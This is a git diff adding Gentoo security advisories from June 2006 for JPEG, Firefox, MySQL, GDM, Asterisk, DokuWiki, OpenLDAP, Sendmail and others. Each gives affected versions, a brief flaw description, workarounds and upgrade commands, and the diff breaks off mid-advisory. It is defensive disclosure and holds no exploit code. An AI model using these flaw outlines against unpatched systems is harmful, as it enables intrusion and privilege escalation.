+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-11">
+  <title>JPEG library: Denial of Service</title>
+  <synopsis>
+    The JPEG library is vulnerable to a Denial of Service.
+  </synopsis>
+  <product type="ebuild">jpeg</product>
+  <announced>June 11, 2006</announced>
+  <revised>July 29, 2006: 02</revised>
+  <bug>130889</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/jpeg" auto="yes" arch="*">
+      <unaffected range="ge">6b-r7</unaffected>
+      <vulnerable range="lt">6b-r7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The JPEG library is able to load, handle and manipulate images in the
+    JPEG format.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Auditing Team discovered that the
+    vulnerable JPEG library ebuilds compile JPEG without the --maxmem
+    feature which is not recommended.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to load a specially crafted JPEG image file an
+    attacker could cause a Denial of Service, due to memory exhaustion.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    JPEG users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/jpeg-6b-r7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3005">CVE-2006-3005</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 05 Jun 2006 22:15:44 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 05 Jun 2006 22:17:08 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 06 Jun 2006 08:58:39 +0000">
+    daxomatic
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-12.xml b/xml/htdocs/security/en/glsa/glsa-200606-12.xml
new file mode 100644
index 00000000..07b79414
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-12.xml
@@ -0,0 +1,95 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-12">
+  <title>Mozilla Firefox: Multiple vulnerabilities</title>
+  <synopsis>
+    Vulnerabilities in Mozilla Firefox allow privilege escalations for
+    JavaScript code, cross site scripting attacks, HTTP response smuggling and
+    possibly the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mozilla-firefox</product>
+  <announced>June 11, 2006</announced>
+  <revised>June 11, 2006: 01</revised>
+  <bug>135254</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla-firefox" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.4</unaffected>
+      <vulnerable range="lt">1.5.0.4</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.4</unaffected>
+      <vulnerable range="lt">1.5.0.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Firefox is the next-generation web browser from the
+    Mozilla project.
+    </p>
+  </background>
+  <description>
+    <p>
+    A number of vulnerabilities were found and fixed in Mozilla
+    Firefox. For details please consult the references below.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing the user to visit a malicious website, a remote
+    attacker can inject arbitrary HTML and JavaScript Code into the user's
+    browser, execute JavaScript code with elevated privileges and possibly
+    execute arbitrary code with the permissions of the user running the
+    application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Firefox users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-1.5.0.4&quot;</code>
+    <p>
+    All Mozilla Firefox binary users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-bin-1.5.0.4&quot;</code>
+    <p>
+    Note: There is no stable fixed version for the Alpha
+    architecture yet. Users of Mozilla Firefox on Alpha should consider
+    unmerging it until such a version is available.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2775">CVE-2006-2775</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2776">CVE-2006-2776</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2777">CVE-2006-2777</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2778">CVE-2006-2778</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2779">CVE-2006-2779</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2780">CVE-2006-2780</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2782">CVE-2006-2782</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2783">CVE-2006-2783</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2784">CVE-2006-2784</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2785">CVE-2006-2785</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2786">CVE-2006-2786</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2787">CVE-2006-2787</uri>
+    <uri link="http://www.mozilla.org/projects/security/known-vulnerabilities.html#Firefox">Mozilla Foundation Security Advisories</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 07 Jun 2006 17:33:16 +0000">
+    frilled
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 08 Jun 2006 10:36:32 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-13.xml b/xml/htdocs/security/en/glsa/glsa-200606-13.xml
new file mode 100644
index 00000000..e265d122
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-13.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-13">
+  <title>MySQL: SQL Injection</title>
+  <synopsis>
+    MySQL is vulnerable to an SQL Injection flaw in the multi-byte encoding
+    process.
+  </synopsis>
+  <product type="ebuild">MySQL</product>
+  <announced>June 11, 2006</announced>
+  <revised>December 13, 2006: 04</revised>
+  <bug>135076</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-db/mysql" auto="yes" arch="*">
+      <unaffected range="ge">5.0.22</unaffected>
+      <unaffected range="rge">4.1.20</unaffected>
+      <unaffected range="rge">4.1.21</unaffected>
+      <unaffected range="rge">4.1.22</unaffected>
+      <unaffected range="lt">4.1</unaffected>
+      <vulnerable range="lt">5.0.22</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MySQL is a popular multi-threaded, multi-user SQL server.
+    </p>
+  </background>
+  <description>
+    <p>
+    MySQL is vulnerable to an injection flaw in mysql_real_escape() when
+    used with multi-byte characters.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Due to a flaw in the multi-byte character process, an attacker is still
+    able to inject arbitary SQL statements into the MySQL server for
+    execution.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are a few workarounds available: NO_BACKSLASH_ESCAPES mode as a
+    workaround for a bug in mysql_real_escape_string(): SET
+    sql_mode='NO_BACKSLASH_ESCAPES'; SET GLOBAL
+    sql_mode='NO_BACKSLASH_ESCAPES'; and server command line options:
+    --sql-mode=NO_BACKSLASH_ESCAPES.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MySQL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/mysql-4.1.20&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2753">CVE-2006-2753</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 01 Jun 2006 07:09:29 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 05 Jun 2006 19:55:54 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 07 Jun 2006 09:13:55 +0000">
+    daxomatic
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-14.xml b/xml/htdocs/security/en/glsa/glsa-200606-14.xml
new file mode 100644
index 00000000..1b3e55cf
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-14.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-14">
+  <title>GDM: Privilege escalation</title>
+  <synopsis>
+    An authentication error in GDM could allow users to gain elevated
+    privileges.
+  </synopsis>
+  <product type="ebuild">gdm</product>
+  <announced>June 12, 2006</announced>
+  <revised>June 19, 2006: 02</revised>
+  <bug>135027</bug>
+  <access>local</access>
+  <affected>
+    <package name="gnome-base/gdm" auto="yes" arch="*">
+      <unaffected range="ge">2.8.0.8</unaffected>
+      <vulnerable range="lt">2.8.0.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GDM is the GNOME display manager.
+    </p>
+  </background>
+  <description>
+    <p>
+    GDM allows a normal user to access the configuration manager.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    When the "face browser" in GDM is enabled, a normal user can use the
+    "configure login manager" with his/her own password instead of the root
+    password, and thus gain additional privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GDM users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=gnome-base/gdm-2.8.0.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://bugzilla.gnome.org/show_bug.cgi?id=343476">Gnome Bugzilla entry</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2452">CVE-2006-2452</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 08 Jun 2006 10:45:03 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 09 Jun 2006 08:32:35 +0000">
+    daxomatic
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 12 Jun 2006 04:30:05 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-15.xml b/xml/htdocs/security/en/glsa/glsa-200606-15.xml
new file mode 100644
index 00000000..da2668f8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-15.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-15">
+  <title>Asterisk: IAX2 video frame buffer overflow</title>
+  <synopsis>
+    Asterisk contains a bug in the IAX2 channel driver making it vulnerable to
+    the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">asterisk</product>
+  <announced>June 14, 2006</announced>
+  <revised>June 14, 2006: 01</revised>
+  <bug>135680</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/asterisk" auto="yes" arch="*">
+      <unaffected range="ge">1.0.11_p1</unaffected>
+      <vulnerable range="lt">1.0.11_p1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Asterisk is an open source implementation of a telephone private branch
+    exchange (PBX).
+    </p>
+  </background>
+  <description>
+    <p>
+    Asterisk fails to properly check the length of truncated video frames
+    in the IAX2 channel driver which results in a buffer overflow.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could exploit this vulnerability by sending a specially
+    crafted IAX2 video stream resulting in the execution of arbitrary code
+    with the permissions of the user running Asterisk.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable public IAX2 support.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Asterisk users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/asterisk-1.0.11_p1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2898">CVE-2006-2898</uri>
+    <uri link="http://www.coresecurity.com/common/showdoc.php?idx=547&amp;idxseccion=10">Corelabs Asterisk PBX truncated video frame vulnerability advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 08 Jun 2006 10:46:16 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 09 Jun 2006 08:21:48 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 14 Jun 2006 09:36:11 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-16.xml b/xml/htdocs/security/en/glsa/glsa-200606-16.xml
new file mode 100644
index 00000000..bee8cf41
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-16.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-16">
+  <title>DokuWiki: PHP code injection</title>
+  <synopsis>
+    A flaw in DokuWiki's spell checker allows for the execution of arbitrary
+    PHP commands, even without proper authentication.
+  </synopsis>
+  <product type="ebuild">DokuWiki</product>
+  <announced>June 14, 2006</announced>
+  <revised>June 14, 2006: 01</revised>
+  <bug>135623</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/dokuwiki" auto="yes" arch="*">
+      <unaffected range="ge">20060309-r1</unaffected>
+      <vulnerable range="lt">20060309-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    DokuWiki is a simple to use wiki targeted at developer teams,
+    workgroups and small companies.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefan Esser discovered that the DokuWiki spell checker fails to
+    properly sanitize PHP's "complex curly syntax".
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A unauthenticated remote attacker may execute arbitrary PHP commands -
+    and thus possibly arbitrary system commands - with the permissions of
+    the user running the webserver that serves DokuWiki pages.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All DokuWiki users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/dokuwiki-20060309-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.hardened-php.net/advisory_042006.119.html">Hardened-PHP advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2878">CVE-2006-2878</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 11 Jun 2006 22:03:16 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 12 Jun 2006 18:33:06 +0000">
+    frilled
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 13 Jun 2006 21:28:32 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-17.xml b/xml/htdocs/security/en/glsa/glsa-200606-17.xml
new file mode 100644
index 00000000..02a04399
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-17.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-17">
+  <title>OpenLDAP: Buffer overflow</title>
+  <synopsis>
+    The OpenLDAP replication server slurpd contains a buffer overflow that
+    could result in arbitrary code execution.
+  </synopsis>
+  <product type="ebuild">net-nds/openldap</product>
+  <announced>June 15, 2006</announced>
+  <revised>June 15, 2006: 01</revised>
+  <bug>134010</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-nsd/openldap" auto="yes" arch="*">
+      <unaffected range="ge">2.3.22</unaffected>
+      <vulnerable range="lt">2.3.22</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenLDAP is a suite of LDAP-related applications and development tools.
+    It includes slapd (the standalone LDAP server), slurpd (the standalone
+    LDAP replication server), various LDAP libraries, utilities and example
+    clients.
+    </p>
+  </background>
+  <description>
+    <p>
+    slurpd contains a buffer overflow when reading very long hostnames from
+    the status file.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By injecting an overly long hostname in the status file, an attacker
+    could possibly cause the execution of arbitrary code with the
+    permissions of the user running slurpd.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All openLDAP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-nds/openldap-2.3.22&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2754">CVE-2006-2754</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 08 Jun 2006 10:43:24 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 11 Jun 2006 20:44:06 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 12 Jun 2006 07:06:11 +0000">
+    SeJo
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-18.xml b/xml/htdocs/security/en/glsa/glsa-200606-18.xml
new file mode 100644
index 00000000..4b749fa9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-18.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-18">
+  <title>PAM-MySQL: Multiple vulnerabilities</title>
+  <synopsis>
+    Vulnerabilities in PAM-MySQL can lead to a Denial of Service, making it
+    impossible to log into a machine.
+  </synopsis>
+  <product type="ebuild">pam_mysql</product>
+  <announced>June 15, 2006</announced>
+  <revised>July 29, 2006: 02</revised>
+  <bug>120842</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-auth/pam_mysql" auto="yes" arch="*">
+      <unaffected range="ge">0.7_rc1</unaffected>
+      <vulnerable range="lt">0.7_rc1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PAM-MySQL is a PAM module used to authenticate users against a MySQL
+    backend.
+    </p>
+  </background>
+  <description>
+    <p>
+    A flaw in handling the result of pam_get_item() as well as further
+    unspecified flaws were discovered in PAM-MySQL.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By exploiting the mentioned flaws an attacker can cause a Denial of
+    Service and thus prevent users that authenticate against PAM-MySQL from
+    logging into a machine. There is also a possible additional attack
+    vector with more malicious impact that has not been confirmed yet.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PAM-MySQL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-auth/pam_mysql-0.7_rc1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://pam-mysql.sourceforge.net/News/">Official release information</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4713">CVE-2005-4713</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0056">CVE-2006-0056</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 11 Jun 2006 20:13:52 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 11 Jun 2006 20:15:46 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 13 Jun 2006 04:26:43 +0000">
+    frilled
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-19.xml b/xml/htdocs/security/en/glsa/glsa-200606-19.xml
new file mode 100644
index 00000000..fd378d39
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-19.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-19">
+  <title>Sendmail: Denial of Service</title>
+  <synopsis>
+    Faulty multipart MIME messages can cause forked Sendmail processes to
+    crash.
+  </synopsis>
+  <product type="ebuild">sendmail</product>
+  <announced>June 15, 2006</announced>
+  <revised>June 15, 2006: 01</revised>
+  <bug>135141</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-mta/sendmail" auto="yes" arch="*">
+      <unaffected range="ge">8.13.6-r1</unaffected>
+      <vulnerable range="lt">8.13.6-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Sendmail is a popular mail transfer agent (MTA).
+    </p>
+  </background>
+  <description>
+    <p>
+    Frank Sheiness discovered that the mime8to7() function can recurse
+    endlessly during the decoding of multipart MIME messages until the
+    stack of the process is filled and the process crashes.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By sending specially crafted multipart MIME messages, a remote
+    attacker can cause a subprocess forked by Sendmail to crash. If
+    Sendmail is not set to use a randomized queue processing, the attack
+    will effectively halt the delivery of queued mails as well as the
+    malformed one, incoming mail delivered interactively is not affected.
+    Additionally, on systems where core dumps with an individual naming
+    scheme (like "core.pid") are enabled, a filesystem may fill up with
+    core dumps. Core dumps are disabled by default in Gentoo.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    The Sendmail 8.13.7 release information offers some workarounds, please
+    see the Reference below. Note that the issue has actually been fixed in
+    the 8.13.6-r1 ebuild.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Sendmail users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-mta/sendmail-8.13.6-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1173">CVE-2006-1173</uri>
+    <uri link="http://www.sendmail.org/releases/8.13.7.html">Sendmail 8.13.7 release information</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 14 Jun 2006 18:47:59 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 14 Jun 2006 19:21:03 +0000">
+    frilled
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 15 Jun 2006 16:00:46 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-20.xml b/xml/htdocs/security/en/glsa/glsa-200606-20.xml
new file mode 100644
index 00000000..47d891a8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-20.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-20">
+  <title>Typespeed: Remote execution of arbitrary code</title>
+  <synopsis>
+    A buffer overflow in the network code of Typespeed can lead to the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">typespeed</product>
+  <announced>June 19, 2006</announced>
+  <revised>June 19, 2006: 01</revised>
+  <bug>135071</bug>
+  <access>remote</access>
+  <affected>
+    <package name="games-misc/typespeed" auto="yes" arch="*">
+      <unaffected range="ge">0.5.0</unaffected>
+      <vulnerable range="lt">0.5.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Typespeed is a game to test and practice 10-finger-typing. Network code
+    allows two users to compete head-to-head.
+    </p>
+  </background>
+  <description>
+    <p>
+    Niko Tyni discovered a buffer overflow in the addnewword() function of
+    Typespeed's network code.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    By sending specially crafted network packets to a machine running
+    Typespeed in multiplayer mode, a remote attacker can execute arbitrary
+    code with the permissions of the user running the game.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not run Typespeed in multiplayer mode. There is no known workaround
+    at this time for multiplayer mode.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Typespeed users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=games-misc/typespeed-0.5.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1515">CVE-2006-1515</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 11 Jun 2006 22:01:54 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 13 Jun 2006 05:10:07 +0000">
+    frilled
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 18 Jun 2006 12:23:54 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-21.xml b/xml/htdocs/security/en/glsa/glsa-200606-21.xml
new file mode 100644
index 00000000..3aa69146
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-21.xml
@@ -0,0 +1,90 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-21">
+  <title>Mozilla Thunderbird: Multiple vulnerabilities</title>
+  <synopsis>
+    Several vulnerabilities in Mozilla Thunderbird allow cross site scripting,
+    JavaScript privilege escalation and possibly execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mozilla-thunderbird</product>
+  <announced>June 19, 2006</announced>
+  <revised>June 19, 2006: 01</revised>
+  <bug>135256</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/mozilla-thunderbird" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.4</unaffected>
+      <vulnerable range="lt">1.5.0.4</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.4</unaffected>
+      <vulnerable range="lt">1.5.0.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Thunderbird is the next-generation mail client from the Mozilla
+    project.
+    </p>
+  </background>
+  <description>
+    <p>
+    Several vulnerabilities were found and fixed in Mozilla Thunderbird.
+    For details, please consult the references below.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could craft malicious emails that would leverage
+    these issues to inject and execute arbitrary script code with elevated
+    privileges, spoof content, and possibly execute arbitrary code with the
+    rights of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds for all the issues at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Thunderbird users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-1.5.0.4&quot;</code>
+    <p>
+    All Mozilla Thunderbird binary users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-bin-1.5.0.4&quot;</code>
+    <p>
+    Note: There is no stable fixed version for the Alpha architecture yet.
+    Users of Mozilla Thunderbird on Alpha should consider unmerging it
+    until such a version is available.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2775">CVE-2006-2775</uri>
